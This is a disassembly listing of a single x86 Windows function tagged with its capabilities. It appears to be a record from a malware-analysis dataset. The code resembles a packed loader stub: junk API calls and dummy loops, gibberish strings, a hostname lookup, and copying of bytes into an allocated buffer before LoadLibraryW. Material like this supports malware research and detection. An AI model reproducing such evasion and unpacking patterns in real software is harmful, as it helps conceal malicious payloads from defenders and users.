Function at 0x40db62
Capabilities:
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2068
call fcn.0040c890
mov eax, dword [0x45b090]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
xor eax, eax
cmp eax, 0x180
jne 0x40db97
mov ecx, dword [0x45c4c4]
add ecx, 0xa231
mov dword [0x1bd3934], ecx
cmp dword [0x1bd3934], 0x141
jne 0x40dbb4
or dword [0x45d464], 0xffffffff
mov dword [0x45d460], 0xec58acac
inc eax
cmp eax, 0x12376ec
jl 0x40db7e
push esi
xor esi, esi
cmp esi, 0x562d05
jne 0x40dbd1
mov eax, dword [0x45c0b8]
mov dword [0x1bd3938], eax
cmp dword [0x1bd3934], 0x3c
jne 0x40dbe3
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
inc esi
cmp esi, 0x5f6c74
jl 0x40dbbf
cmp dword [0x1bd3934], 0x7c
push edi
jne 0x40dccd
push ebx
lea eax, [ebp - 0x2004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x2058]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.USER32.dll_SetActiveWindow]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
push ebx
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
xor eax, eax
mov word [ebp - 0x2050], ax
lea edi, [ebp - 0x204e]
stosw word es:[edi], ax
mov word [ebp - 0x204c], ax
lea edi, [ebp - 0x204a]
stosw word es:[edi], ax
lea eax, [ebp - 0x2060]
push eax
push dword [ebp - 0x204c]
lea eax, [ebp - 0x2054]
push dword [ebp - 0x2050]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push ebx
lea eax, [ebp - 0x804]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push str.wajijanicekexamutixorutaz_matilagivule__s__d__f
push ebx
call fcn.0040207b
push 0x45954c
push 0x45d3d8
call fcn.00401b27
push ebx
call fcn.00402219
add esp, 0x14
cmp dword [0x1bd3934], 0x110a
jne 0x40de43
push ebx
mov dword [0x1bd3800], ebx
mov dword [0x1bd3804], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
lea eax, [ebp - 0x204c]
push eax
push ebx
push str.jamigulinekixij
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
lea eax, [ebp - 0x2054]
push eax
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x2068], ax
lea edi, [ebp - 0x2066]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x1804]
push eax
push str.hagiforagaragedakujeriyexi
lea eax, [ebp - 0x2068]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0xc04]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push ebx
push ebx
lea eax, [ebp - 0x1c04]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_PurgeComm]
fld qword [0x4595c8]
push 0x50
push ecx
push ecx
fstp qword [esp]
push 0x459598
push str._s__f__c
call fcn.00402098
push ebx
push ebx
call fcn.00401d54
add esp, 0x1c
push 7
pop edi
xor eax, eax
push 1
lea esi, [ebp - 0x2020]
mov dword [ebp - 0x2008], edi
mov dword [ebp - 0x200c], ebx
mov word [ebp - 0x201c], ax
call fcn.00401091
push ebx
push ebx
call fcn.00401d54
xor eax, eax
push ebx
push ebx
mov dword [ebp - 0x2024], edi
mov dword [ebp - 0x2028], ebx
mov word [ebp - 0x2038], ax
call fcn.0040222f
push ebx
push ebx
call fcn.00401d54
push ebx
call fcn.00401cc6
push ebx
push ebx
push ebx
call fcn.00401fc0
push ebx
push ebx
call fcn.0040222f
push 0x4595ac
push 0x45d3d8
call fcn.0040207b
push ebx
call fcn.004021e5
add esp, 0x3c
push 1
xor ebx, ebx
lea esi, [ebp - 0x203c]
call fcn.0040104c
push 1
lea esi, [ebp - 0x2020]
call fcn.0040104c
push dword [0x1bd3934]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor esi, esi
mov dword [0x1bd3654], eax
pop edi
cmp dword [0x1bd3934], ebx
jbe 0x40dead
mov eax, dword [0x1bd3938]
mov dword [ebp - 0x204c], eax
mov eax, 0xa231
add dword [ebp - 0x204c], eax
mov eax, dword [ebp - 0x204c]
mov al, byte [eax + esi]
mov ecx, dword [0x1bd3654]
mov byte [ecx + esi], al
cmp dword [0x1bd3934], 0x5ab
jne 0x40dea4
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov dword [0x1bd3658], 0x19b0
inc esi
cmp esi, dword [0x1bd3934]
jb 0x40de60
push 0x4595b0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040d88d
call fcn.0040d86f
call fcn.0040daee
xor eax, eax
cmp eax, 0xd606b
jne 0x40ded5
call fcn.0040d864
inc eax
cmp eax, 0x24e87d
jl 0x40dec9
mov esi, 0x1e4165
cmp dword [0x1bd3934], 0xcc1
jne 0x40def7
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
cmp dword [0x1bd3934], 0x7c4
mov dword [0x1bd365c], 0x8e46a6f0
jne 0x40df16
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
dec esi
jne 0x40dee2
pop esi
cmp ebx, 0x408e
jle 0x40df2e
cmp dword [ebp - 0x2040], 0xf5bed7
jne 0x40df37
inc ebx
cmp ebx, 0x687ed2
jl 0x40df1a
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00401abb
leave
ret